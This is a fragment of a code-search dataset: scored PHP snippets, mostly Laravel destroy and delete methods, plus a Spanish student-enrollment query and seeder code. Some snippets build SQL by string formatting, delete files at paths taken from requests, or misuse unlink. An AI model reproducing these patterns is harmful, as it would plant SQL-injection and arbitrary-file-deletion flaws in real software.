"title": "" }, { "docid": "e02a61dc8d778d6f70e60505035c99d1", "score": "0.58621585", "text": "public function onDelete(DeleteResourceEvent $event)\n {\n $em = $this->container->get('doctrine.orm.entity_manager');\n $em->remove($event->getResource());\n $event->stopPropagation();\n }", "title": "" }, { "docid": "ee70945e791659b8782f1f156e69304e", "score": "0.5847799", "text": "public function delete()\n {\n return $this->getStorage()->delete($this->path().DIRECTORY_SEPARATOR.$this->name());\n }", "title": "" }, { "docid": "fbd716173957d995532e7a5839e6a5dc", "score": "0.58406353", "text": "public function rm($item);", "title": "" }, { "docid": "df76e304787c6be76144a24a799b6900", "score": "0.5835866", "text": "public function removeAction()\n {\n Pi::service('log')->mute();\n $id = $this->params('id', 0);\n $fakeId = $this->params('fake_id', 0);\n $affectedRows = 0;\n $module = $this->getModule();\n\n if ($id) {\n $row = $this->getModel('media')->find($id);\n\n if ($row && $row->url) {\n // Delete media\n unlink(Pi::path($row->url));\n\n // Update db\n $row->url = '';\n $row->type = '';\n $row->size = 0;\n $row->meta = '';\n $affectedRows = $row->save();\n }\n } elseif ($fakeId) {\n $session = Media::getUploadSession($module, 'media');\n\n if (isset($session->$fakeId)) {\n $uploadInfo = isset($session->$id) ? $session->$id : $session->$fakeId;\n\n unlink(Pi::path($uploadInfo['tmp_name']));\n\n unset($session->$id);\n unset($session->$fakeId);\n }\n $affectedRows = 1;\n }\n\n echo json_encode([\n 'status' => $affectedRows ? self::AJAX_RESULT_TRUE : self::AJAX_RESULT_FALSE,\n 'message' => 'ok',\n ]);\n exit;\n }", "title": "" }, { "docid": "e47bb1b7bccbeb8651920ef7986252ae", "score": "0.5819071", "text": "protected function destroy(User $resource)\n {\n }", "title": "" }, { "docid": "c6821270bce7c29555a3d0ca63e8ff36", "score": "0.5809161", "text": "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "title": "" }, { "docid": "7e3f12eaa72d671def04991239bd33f4", "score": "0.58077335", "text": "public function destroy(Resource $resource)\n\t{\n\t\t$resource->delete();\n\n return ['success' => true, 'message' => 'Resource deleted'];\n\t}", "title": "" }, { "docid": "3e2addfb4f78b979aaadcf2a7b28b1c4", "score": "0.5783091", "text": "public function destroy(Request $request, $id)\n {\n\n $file= Documents::whereId($id)->firstOrFail();\n\n //unlink(public_path('storage',$file->id));\n\n $file->delete();\n return back();\n\n\n }", "title": "" }, { "docid": "5bc196208c1decbb644cd5cece6edd3f", "score": "0.5773983", "text": "public function unlink($uri) {\n $this->uri = $uri; // set instance URI\n return unlink($this->get_local_path());\n }", "title": "" }, { "docid": "f97458f1a249bea8589e37ce4a19458a", "score": "0.5770823", "text": "public function destroy($id)\n {\n// $info = $request->img;\n// dd($info);\n// dd($id);\n $info = Zhou::where('id',$id)->select('file')->first()->toArray();\n// dd('/storage/'.$info['file']);\n unlink('./storage/'.$info['file']);\n $data = Zhou::where('id',$id)->delete();\n\n\n// dd();\n if($data){\n return json_encode(['code'=>200]);\n }\n }", "title": "" }, { "docid": "27c91ef0cac551b90c12d8956a711079", "score": "0.5768296", "text": "public function deleteFromStore()\n\t{\n\t\t$this->isInStore(true);\n\n\t\t$store = GAMA_Store::singleton();\n\n\t\t// ===============\n\t\tapp_lock(LOCK_EX);\n\t\t// ===============\n\t\ttry\n\t\t{\n\t\t\t// make sure there are no instances of this class\n\t\t\t$count = $store->sqlFetchValue(\n\t\t\t\t'select count(*) from RESOURCE where type=?', $this->id);\n\t\t\t\n\t\t\tif($count > 0)\n\t\t\t{\n\t\t\t\tthrow new Exception('Delete related instances first');\n\t\t\t}\n\n\t\t\t// make sure there are no properties using this class\n\t\t\t$count = $store->sqlFetchValue('\n\t\t\t\tselect count(*) from PROPERTY\n\t\t\t\twhere dom=? or rng=?\n\t\t\t\t', $this->id, $this->id );\n\t\t\t\n\t\t\tif($count > 0)\n\t\t\t{\n\t\t\t\tthrow new Exception('Delete related properties first');\n\t\t\t}\n\t\t\t\n\t\t\t// now we can delete the class\n\t\t\t$store->sql('delete from RESOURCE where id=?', $this->id);\n\n\t\t\t// we should also update our cache\n\t\t\t$this->reloadFromStore();\n\t\t\t\n\t\t} catch(Exception $e)\n\t\t{\n\t\t\tapp_unlock();\n\t\t\tthrow $e;\n\t\t}\n\t\t\t\n\t\t// ==========\n\t\tapp_unlock();\n\t\t// ==========\n\t\t\n\t\tdebug(\"Resource deleted: $this->uri\");\n\t}", "title": "" }, { "docid": "80ccefee911dbbebc88e3854b170acf7", "score": "0.5765826", "text": "public function removeRecord();", "title": "" }, { "docid": "bbd4fbeb169cce49dbdee4fcf4da3308", "score": "0.576368", "text": "public function destroy(Storage $storage)\n {\n //\n }", "title": "" }, { "docid": "81bac0e5ac8e3c967ba616afac4bfb1c", "score": "0.5760811", "text": "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "title": "" }, { "docid": "385e69d603b938952baeb3edc255a4ea", "score": "0.5753559", "text": "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "title": "" }, { "docid": "ddf3faf7670af66339c535dd8de7c088", "score": "0.57453483", "text": "public function destroy(Request $request)\n {\n Storage::delete($request->path);\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "9a5dfeb522e8b8883397ebfbc0e9d95b", "score": "0.5726379", "text": "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "title": "" }, { "docid": "883f70738d6a177cbdf3fcaec9e9c05f", "score": "0.57144034", "text": "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "title": "" }, { "docid": "38e5a4eab7d9a854a4348b6f78b1554b", "score": "0.571345", "text": "public function destroy($resource, $id)\n {\n $this->repository->delete($id);\n return response(null, 204);\n }", "title": "" }, { "docid": "20950b5737f7cbea0d1cc5dc11a68eb1", "score": "0.57047796", "text": "public function delete() {\n $filePath = $this->getPath();\n if (is_file($filePath) && is_writable($filePath)) {\n unlink($filePath);\n }\n parent::delete();\n }", "title": "" }, { "docid": "e41dcd69306378f20a25f414352d6e6b", "score": "0.5696585", "text": "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "title": "" }, { "docid": "405f641d9f45ae5d1d63de363880f02b", "score": "0.5691377", "text": "public function destroy($id)\n\n {\n\n $product = Product::findOrFail($id);\n\n\n\n// unlink(public_path(). $icon->file);\n\n\n\n// $photo->delete();\n//\n// $icon->delete();\n Photo::where('product_id',$id)->delete();\n $product->delete();\n\n\n\n\n\n return redirect()->route('admin.products.index');\n\n }", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "88290b89858a6178671f929ae0a7ccba", "score": "0.5677111", "text": "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "title": "" }, { "docid": "f3ecd01b9c9cfcc917a40e1827e8d6a1", "score": "0.56522495", "text": "public function del() {\n sem_acquire($this->__mutex); //block until released\n @shm_remove_var($this->__shm, $this->__key);\n sem_release($this->__mutex); //release mutex\n }", "title": "" }, { "docid": "85a8d03b0c01970f57fe2403d38a7103", "score": "0.56494105", "text": "public function delete(): void\n {\n\t\tif(@unlink($this->getPath())) {\n\t\t\t$this->deleteCacheEntries();\n\t\t\tself::unsetInstance($this->getPath());\n\t\t}\n\t\telse {\n\t\t\tthrow new FilesystemFileException(\"Delete of file '{$this->getPath()}' failed.\", FilesystemFileException::FILE_DELETE_FAILED);\n\t\t}\n\t}", "title": "" }, { "docid": "8b94ff007c35fa2c7485cebe32b8de85", "score": "0.5648262", "text": "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "title": "" }, { "docid": "2752e2223b3497665cc8082d9af5a967", "score": "0.5648085", "text": "public function delete($path, $data = null);", "title": "" }, { "docid": "8cf7657c92ed341a5a4e1ac7b314cf43", "score": "0.5648012", "text": "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "title": "" }, { "docid": "0cb73bdc807934bf8edf7e5eccafdd2b", "score": "0.56407464", "text": "public function delete() {\n $this->storageController->connect();\n $query = sprintf('DELETE FROM items WHERE name=\"%s\"', $this->name);\n $this->storageController->query($query);\n $this->storageController->close();\n\n $this->is_new = TRUE;\n }", "title": "" }, { "docid": "f51aa1f231aecb530fa194d38c843872", "score": "0.5629985", "text": "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "title": "" }, { "docid": "83377e4a1bcc3dc2e77329262b4d9a6d", "score": "0.5628369", "text": "public function delete()\n {\n fclose($this->inputStream);\n }", "title": "" }, { "docid": "9db585fcb135fe60165f9be69e476584", "score": "0.5622851", "text": "private function _remove($id)\n\t{\n\t\t$store = $this->model_store->find($id);\n\n\t\tif (!empty($store->IMAGE)) {\n\t\t\t$path = FCPATH . '/uploads/store/' . $store->IMAGE;\n\n\t\t\tif (is_file($path)) {\n\t\t\t\t$delete_file = unlink($path);\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\treturn $this->model_store->remove($id);\n\t}", "title": "" }, { "docid": "342b5fc16c6f42ac6826e9c554c81f4d", "score": "0.55992156", "text": "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "title": "" }, { "docid": "97e50e61326801fa4efc3704e9dd77c1", "score": "0.5598557", "text": "public function revoke($resource, $permission = null);", "title": "" }, { "docid": "eb981a32d53ea8153aa2cec46a4f509f", "score": "0.5581215", "text": "public function destroy($id)\n {\n// if(Auth::user()->role == User::ROLE_SUPERADMIN) {\n $product = ProductItem::findOrFail($id);\n if($product->image_name != '') {\n $image_path = app_path(\"../../files/product/\" . $product->image_name);\n unlink($image_path);\n }\n\n ProductItem::destroy($id);\n\n Alert::success('Your data already deleted !', 'Success !');\n\n return redirect('admin/product');\n// }\n }", "title": "" }, { "docid": "97914eb78d7cf648246f9bcd6ac69124", "score": "0.5573565", "text": "public function destroy($id)\n {\n /*\n\n = R::load( '', $id );\n R::trash( );*/\n }", "title": "" }, { "docid": "9063023fcee6a479bc40053db38d89e0", "score": "0.557017", "text": "public function destroy($id)\n {\n //\n\n\n $post = Post::withTrashed()->where('id',$id)->firstOrFail();\n\n if ($post->trashed()){\n /////$path = 'test.txt';\n /////Storage::disk('s3')->put($path, 'hello');\n ///// Storage::disk('s3')->delete($path);\n //return $post->image;\n\n if(Storage::disk('s3')->exists($post->filename)) {\n Storage::disk('s3')->delete($post->filename);\n } else {\n $post->deleteImage();\n $post->forceDelete();\n\n }\n\n\n return redirect(route('trashed-posts.index'))->with('status', 'Post deleted successfully');\n }\n else {\n $post->delete();\n return redirect(route('posts.index'))->with('status', 'Post deleted successfully');\n }\n\n // return redirect(route('posts.index'))->with('status', 'Post deleted successfully');\n\n }", "title": "" }, { "docid": "ea73af051ca124bba926c5047e1f799b", "score": "0.5566796", "text": "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "title": "" }, { "docid": "a85f6f9231c5a5b648efc0e34b009554", "score": "0.55642897", "text": "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "title": "" }, { "docid": "9ef8b8850e1424f439f75a07b411de21", "score": "0.55641", "text": "public function remove($filePath){\n return Storage::delete($filePath);\n }", "title": "" }, { "docid": "7fbd1a887ad4dca00687bb4abce1ae49", "score": "0.5556536", "text": "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "b45d20ef7b675860a322ba4b6d1dbd5a", "score": "0.55559915", "text": "public function destroy($id)\n {\n $file_data = Media::find($id)->first();\n if(file_exists($file_data->path)){\n @unlink(public_path(), $file_data->path);\n }\n Media::where('id', $id)->delete();\n return redirect()->back()->with('message', 'Media deleted successfully!');\n }", "title": "" }, { "docid": "e98c4608a62ab3f2b92573a4bed86a6f", "score": "0.5551504", "text": "abstract public function Resource_Link_delete($resource_link);", "title": "" }, { "docid": "35753424e21be7d9c22ced54d549e939", "score": "0.5540951", "text": "public function remove()\n\t{\n\t\tif(self::exists($this->name))\n\t\t{\n\t\t\t$this->value = false;\n\t\t\t$this->encodedValue = null;\n\t\t\t$this->sendHeader();\n\n\t\t\t$cookiePath = $this->getMetaFilePath();\n\n\t\t\tif(File::exists($cookiePath))\n\t\t\t\tFile::remove($cookiePath);\n\t\t}\n\t}", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "39fd8b9a4b5864c48e07d66807e5775f", "score": "0.5539789", "text": "public function destroy($id)\n {\n $image = Slider::findOrFail($id);\n //dd($image);\n// $image_path = app_path(\"images/{$image}\");\n// //dd($image_path);\n// if (File::exists($image_path)) {\n// File::delete($image_path);\n// //File::delete(\"images/{$image}\");\n// unlink($image_path);\n// }\n// File::delete(public_path(\"images/{$image->path}\"));\n $image->delete();\n return redirect('admin-group-1/slider');\n }", "title": "" }, { "docid": "0005f2e6964d036d888b5343fa80a1b1", "score": "0.55371785", "text": "public function deleted(Storage $storage)\n {\n //\n }", "title": "" }, { "docid": "d434e2cdc40338f523a40bcd0c8522a0", "score": "0.55343556", "text": "public function delete() {\n $this->client->deleteData($this->uri);\n }", "title": "" }, { "docid": "bd7d7fbce770fd39cf8081927084d5c3", "score": "0.55334973", "text": "public function destroy($id)\n {\n $brand = Brand::findOrFail($id);\n\n if (Storage::disk('public')->exists('Brand/'.$brand->brand_image)) {\n Storage::disk('public')->delete('Brand/'.$brand->brand_image);\n }\n $brand->delete();\n }", "title": "" }, { "docid": "b36cf6614522a902b216519e3592c3ba", "score": "0.55275744", "text": "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" } ]
9b12f1f2dd6f4078a94b185a766b4978
Redirige a la vista para agregar estudiantes matriculados
[ { "docid": "9bd0d8d514e3b28aaf7d3fb55245f456", "score": "0.5045082", "text": "public function addstudent($id)\n {\n $Grupo = Grupo::findOrfail($id);\n $Matricula = \\DB::table(\"matricula as ma\")\n ->join('semestre as se', 'se.id', \"=\", 'ma.id_semestre')\n ->leftjoin('matricula_grupo AS mg', 'mg.id_matricula', \"=\", 'ma.id')\n ->leftjoin('persona AS pe', 'pe.id', \"=\", 'ma.id_persona')\n ->leftjoin('sede AS sed', 'sed.id', \"=\", 'ma.id_sede')\n ->select('ma.*', 'se.codigo as nombresemestre', 'pe.nombre as nombrepersona', 'pe.url_imagen', 'sed.nombre as nombresede')\n ->where('se.estado', '=', '1')\n ->where('ma.estado', '=', '1')\n ->where('ma.id_sede', '=', $Grupo->id_sede)\n ->whereNull('mg.id_estado')->orWhere('mg.id_estado', '<>', '1')\n ->orderBy('ma.id', 'desc')\n ->groupBy('ma.id')->get();\n return view('grupo.addstudent', ['Grupo' => $Grupo, 'Matricula' => $Matricula]);\n }", "title": "" } ]
[ { "docid": "4cbee38f26fd78c0a9d0adc8ebe9dfd2", "score": "0.6296544", "text": "private function consultaMatricula()\n {\n\n $this->estudanteModel = $this->estudanteView->getDados();\n $this->estudanteModel = $this->estudanteAdo->buscaMatriculaPelaMatricula($this->estudanteModel->getEstuMatricula());\n // print_r($this->estudanteModel); \n if ($this->estudanteModel) {\n //continue\n\n } else {\n\n // $this->estudanteModel = new MatriculaModel();\n $this->estudanteView->adicionaMsgErro($this->estudanteAdo->getMensagem());\n return;\n }\n }", "title": "" }, { "docid": "9f148881635653a4451faab9ea65ecca", "score": "0.5988879", "text": "function matriz($arregloDatos, &$datos, &$plantilla) { \n $arregloDatos[mostrar] = 0;\n $arregloDatos[plantilla] = 'levanteMatrizCuerpo.html';\n $arregloDatos[thisFunction] = 'getCuerpoRetiro';\n $arregloDatos[cuerpoRetiro] = $this->setFuncion($arregloDatos, $unDatos);\n $this->mantenerDatos($arregloDatos, $plantilla);\n }", "title": "" }, { "docid": "9f2239d43ed0928f399a00c4dbf146e7", "score": "0.5790974", "text": "public function newmatricularpromovidosAction()\n {\n $anos_escolares= $this->getDoctrine()->getRepository(\"NetpublicCoreBundle:Dimension\")->findAnoEscolares();\n return array(\n 'anos_escolares'=>$anos_escolares,\n 'plantilla_defecto'=>5\n );\n \n }", "title": "" }, { "docid": "be8a29dfd62748324a99d4517ae0e6dc", "score": "0.5784993", "text": "public function newgestormatriculaAction()\n {\n $em= $this->getDoctrine()->getManager();\n $sedes=$em->getRepository(\"NetpublicCoreBundle:Colegio\")->findAll();\n $grados=$em->getRepository(\"NetpublicCoreBundle:Grado\")->findAll();\n $anos_escolares=$em->getRepository(\"NetpublicCoreBundle:Dimension\")->findAnoEscolares();\n \n return array(\n 'sedes'=>$sedes,\n \"grados\"=>$grados,\n 'anos_escolares'=>$anos_escolares, \n );\n }", "title": "" }, { "docid": "f070d815553257531dec6b3bbdcddf3d", "score": "0.57657504", "text": "function matriz($arregloDatos,&$datos,&$plantilla)\n {\n \n $arregloDatos[mostrar]\t\t=0;\n $arregloDatos[plantilla]\t='levanteMatrizCuerpo.html';\n $arregloDatos[thisFunction]\t='getCuerpoRetiro';\n $arregloDatos[cuerpoRetiro] = $this->setFuncion($arregloDatos,&$unDatos); \n $this->mantenerDatos($arregloDatos,$plantilla);\n }", "title": "" }, { "docid": "48397f62fdd4ff2fc67aa5e83d29431e", "score": "0.5726415", "text": "public function run()\n {\n \\DB::table('matriz_priorizacion')->delete();\n \\DB::table('matriz_parametro')->delete();\n \\DB::table('matriz_proceso')->delete();\n\n $matriz = new MatrizPriorizacion();\n $matriz->empresa_id = 1;\n $matriz->unidad_negocio_id = 1;\n $matriz->mapa_proceso_id = 1;\n $matriz->nombre= 'Matriz Priorizacion CPSA';\n $matriz->save();\n\n $matrizParametro = new MatrizParametro();\n $matrizParametro->matriz_priorizacion_id = 1;\n $matrizParametro->nombre = 'Contribucion al objetivo estrategico';\n $matrizParametro->descripcion = 'Apunta al cumplimiento de objetivos trazados de manera estrategica en base al cumplimiento de los objetivos especificos, para obtener buenos resultados.';\n $matrizParametro->peso = 5;\n $matrizParametro->save();\n\n $matrizParametro = new MatrizParametro();\n $matrizParametro->matriz_priorizacion_id = 1;\n $matrizParametro->nombre = 'Impacto en el negocio';\n $matrizParametro->descripcion = 'La manera que impacta cada proceso en el desarrollo de las actividades.';\n $matrizParametro->peso = 4;\n $matrizParametro->save();\n\n $matrizParametro = new MatrizParametro();\n $matrizParametro->matriz_priorizacion_id = 1;\n $matrizParametro->nombre = 'Impacto en el cliente';\n $matrizParametro->descripcion = 'La empresa depende muchos de sus clientes, es necesario tener un impacto positivo en éstos para obtener su continuidad en la compra de nuestros productos.';\n $matrizParametro->peso = 4;\n $matrizParametro->save();\n\n $matrizParametro = new MatrizParametro();\n $matrizParametro->matriz_priorizacion_id = 1;\n $matrizParametro->nombre = 'Exito a corto tiempo';\n $matrizParametro->descripcion = 'Mientras un proceso tenga éxito en el menor tiempo posible, más beneficioso para la empresa.';\n $matrizParametro->peso = 1;\n $matrizParametro->save();\n\n $matrizProceso = new MatrizProceso();\n $matrizProceso->matriz_priorizacion_id = 1;\n $matrizProceso->proceso_id = 1;\n $matrizProceso->nombre = 'Gestion de la Direccion';\n $matrizProceso->save();\n\n $matrizProceso = new MatrizProceso();\n $matrizProceso->matriz_priorizacion_id = 1;\n $matrizProceso->proceso_id = 2;\n $matrizProceso->nombre = 'Comercializacion';\n $matrizProceso->save();\n\n $matrizProceso = new MatrizProceso();\n $matrizProceso->matriz_priorizacion_id = 1;\n $matrizProceso->proceso_id = 4;\n $matrizProceso->nombre = 'Fabricacion del Cemento';\n $matrizProceso->save();\n\n $matrizProceso = new MatrizProceso();\n $matrizProceso->matriz_priorizacion_id = 1;\n $matrizProceso->proceso_id = 6;\n $matrizProceso->nombre = 'Control de Calidad';\n $matrizProceso->save();\n\n $matrizProceso = new MatrizProceso();\n $matrizProceso->matriz_priorizacion_id = 1;\n $matrizProceso->proceso_id = 7;\n $matrizProceso->nombre = 'Logistica';\n $matrizProceso->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 1;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =5;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 1;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =5;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 1;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 1;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 2;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 2;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 2;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =5;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 2;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 3;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 3;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 3;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 3;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 4;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 4;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 4;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 4;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 5;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 5;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 5;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 5;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 6;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 6;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 6;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 6;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 7;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 7;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 7;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new 